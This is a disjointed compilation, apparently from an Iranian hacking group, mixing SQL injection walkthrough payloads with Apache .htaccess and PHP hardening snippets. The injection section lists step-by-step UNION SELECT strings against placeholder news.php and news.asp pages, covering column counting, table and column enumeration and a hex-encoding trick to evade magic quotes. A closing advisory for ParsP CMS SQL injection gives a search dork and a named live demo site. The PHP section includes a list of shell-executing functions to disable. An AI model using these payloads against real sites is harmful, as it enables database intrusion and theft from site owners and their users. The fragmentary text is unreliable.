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www.site.com/news.php?id=2  Order By  5

Microsoft OLE DB Provider for ODBC Drivers error

‘80040e14’

[Microsoft][ODBC SQL Server Driver][SQL

Server]The ORDER BY position number 5 is out of

range of the number of items in the select list.

Unknown column ‘5’ in ‘order clause’

www.site.com/news.php?id=2  Union Select 1,2,3,4,5,6

 www.site.com/news.php?id=-2  Union Select

1,2,3,4,5,6

Select Table_Name From Information_Schema.Tables

news.php?id=-2Union Select 1,2,Table_Name,4 From

Information_Schema.Tables

news.php?id=-2Union Select

1,2,Group_Concat(Table_Name),4 From

Information_Schema.Tables

Select Table_Name From All_Tables

Select Column_Name From

Information_Schema.Columns

news.php?id=-2Union Select 1,2, Column_Name,4

From Information_Schema. Columns

http://www.site.com/news.php?id=2
http://www.site.com/news.php?id=2
http://www.site.com/news.php?id=-2
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Select Column_Name From All_Tab_Columns

news.php?id=-2Union Select 1,2,

GROUP_Concat(Column_Name) ,4 From

Information_Schema. Columns Where

Table_Name=’Users’

  Magic quotes gpc

0x

news.php?id=-2Union Select 1,2,

GROUP_Concat(Column_Name) ,4 From

Information_Schema. Columns Where

Table_Name=0X7573657273

Select Name From SysObjects

news.asp?id=-2Union Select 1,2,Name ,4

From SysObjects Where Xtype=’u’

news.asp?id=-2Union Select ,2,Column_Name

,4 From Information_schema.columns
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www.site.com/news.asp?id=-2 Union

Select Null,Null,Null,Null

news.asp?id=-2 Union All Select

1,2,’3',4

Select Name From SysObjects Where

Name Like%User%

news.asp?id=-2 Union Select

1,2,Name ,4 From SysObjects Where

Name Like%25User%25

www.site.com/news.asp?id=@@Version

http://www.site.com/news.asp?id=-2
http://www.site.com/news.asp?id=@@Version


Ashiyane Digital Security Team AuthName “Member’s Area Name”

AuthUserFile /path/to/password/file/.htpasswd

AuthType Basic

require valid-user

ErrorDocument 401 /error_pages/401.html

AddHandler server-parsed .htm
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mod_authn_alias,mod_authn_anon, mod_authn_dbd,

mod_authn_dbm, mod_auth_default, mod_authn_file,

mod_authnz_ldap

mod_authnz_ldap, mod_authz_dbm,

mod_authz_default, mod_authz_groupfile,

mod_authz_owner, mod_authz_user

AuthName “Member’s Area Name”

AuthUserFile /path/to/password/file/

.htpasswd

AuthType Basic

require valid-user



Ashiyane Digital Security Team

Redirect /old_dir/ http://www.yourdomain.com/

new_dir/index.html

order allow,deny

deny from 255.0.0.0

deny from 123.45.6.

allow from all

Order allow,deny

Allow from 255.0.0.0

Denny from all

‘mod_rewrite’

# Options +FollowSymlinks

RewriteCond %{HTTP_REFERER}

otherdomain\.com [NC]

RewriteRule .* - [F]

OtherDomain.com , oTherdOmain.com ,

OTHERDOMAIN.COM

RewriteEngine on

# Options +FollowSymlinks

RewriteCond %{HTTP_REFERER}

otherdomain\.com [NC,OR]

RewriteCond %{HTTP_REFERER}

anotherdomain\.com

RewriteRule .* - [F]

http://www.yourdomain.com/
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  ‘mod_rewrite’

RewriteEngine on

RewriteCond %{HTTP_REFERER} !^$

RewriteCond %{HTTP_REFERER} !^http://

(www\.)?yourdomain.com/.*$ [NC]

RewriteRule \.(gif|jpg|css)$ - [F]
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Register_global = off

Safe_mode = off

Allow_url_fopen = off

Open_base_dir =

Show_source

System

Shell_exec

Passthru

Exec

Phpinfo

Popen

Proc_open
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http://www.siteground.com/joomla-hosting/joomla-

extensions/ver1.5/jhack.htm

http://ashiyane.org/forums/

showthread.php?p=183320#post183320

http://www.siteground.com/joomla-hosting/joomla
http://ashiyane.org/forums/
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<Files ~
“\.(php*|cgi|pl)$”>
deny from all
</Files>
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Topic :
ParsP CMS SQL Injection Vulnerability
Arrow  WLB : WLB-2011020086  (About)
Arrow  SecurityAlert : None
Arrow  Date : 2011-02-22
Arrow  Credit          : Ashiyane Digital Security Team
Arrow  Added by     : cho0bin
Arrow  SecurityRisk : High  Security Risk High  (About)
Arrow  Remote : Yes
Arrow  Local     : No
Arrow  Status   : Bug
Arrow  History : [2011-02-22] Started
Arrow  Affected software : ParsP CMS
Arrow  Text :
# Title: ParsP CMS SQL Injection Vulnerability
# Vendor: www.parsp.com
# Version: All Version
# Author: Cho0bin
###################[Exploit]#####################
# (/index.php?view_content=1)
# Dork: “Powered by Parsp”
# Demo: http://www.iranhot.net/index.php?view_content=1
: http://www.iranhot.net/index.php?view_content=1 order by 1
##################[Greetz]######################
Virangar - Satanic2000 - HUrr!c4nE - P0W3RFU7 - iman_taktaz - Antivirus -
Zend
Arrow  References :
Ashiyane.org

BUG

http://www.parsp.com
http://www.iranhot.net/index.php?view_content=1
http://www.iranhot.net/index.php?view_content=1
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Zone-H

Zone-H

http://zone-h.org/stats/notifierspecial

http://zone-h.org/stats/notifierspecial
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